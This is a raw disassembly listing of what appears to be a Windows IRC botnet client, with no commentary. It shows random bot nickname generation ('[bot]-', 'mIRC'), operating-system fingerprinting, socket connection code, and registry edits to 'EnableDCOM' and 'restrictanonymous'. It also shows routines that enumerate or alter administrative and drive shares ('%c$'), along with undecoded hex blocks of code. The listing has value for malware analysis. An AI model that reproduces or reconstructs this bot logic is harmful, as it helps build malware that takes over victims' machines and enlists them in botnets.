ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_433038 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_433070 call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43AD10h, 0C63BF633h, 68501D74h dd 433234h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 7BE89057h, 570221ABh, 41598C68h, 3EE89000h, 85023DB5h dd 902975C0h, 25B35FE8h, 0E4685002h, 0E8004331h, 0FFFF6859h dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 43E85759h, 900221ABh dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h, 15FF5350h dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h dd 850FC085h, 103h, 43319868h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh dd 8D500043h, 0FFFBEC85h, 314468FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 2FE85056h, 900228B3h, 69B84D8Bh dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 221B690h, 0E890EDEBh, 225B1D4h dd 30F86850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43AD2Ch, 0EC858D50h, 68FFFFFBh, 4330B4h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0AE3015FFh dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h dd 59000016h, 57E89056h, 5B0221A9h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_433280o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 26308B3h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26308B3h push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26308B3h push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_4332DC push eax push esi nop call near ptr 27E0000h movsx eax, byte_4332DC push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26308B3h nop push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 2800000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4332E0 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_436EDC mov dword ptr [ebp-94h], 94h call near ptr 27B1523h nop nop call near ptr 26308B3h push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4332EC jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_4332E4 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26308B3h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415C96 mov eax, offset byte_436EDC loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_4332F0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415CC1 mov eax, offset byte_436EDC loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43327C loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_4332E0 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_433280[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43AD98 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4407FC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43AE24 push eax mov edi, offset dword_4CD784 push offset unk_4332FC push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43AE30 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E0o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 4405F005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 4BE89057h, 3B0228ADh, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 23BA49E8h, 0B3FF9002h, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh, 8458950h dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 26302E2h sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43AE68, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416013 mov ax, word_4336E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_415FF5 push offset unk_4336A4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_433678 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43ADBC test eax, eax jz short loc_416095 push offset unk_4335D8 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_433594 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_433548 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_433508 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43AE90, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43ACE4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_433370 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_4334D4 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_433498 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_433390 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_433464 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_433428 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43AE28 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_4333F0 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43AE68, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416337 mov ax, word_4338CC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_416319 push offset unk_433898 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43386C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43ADBC test eax, eax jz short loc_4163B5 push offset unk_433820 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_4337DC loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_433790 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_433508 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43AE90, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_433370 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_433760 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_433728 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_433380 jb short loc_416430 call near ptr 28005DAh nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43ADF8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_433760 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_433728 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_4336E8 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx 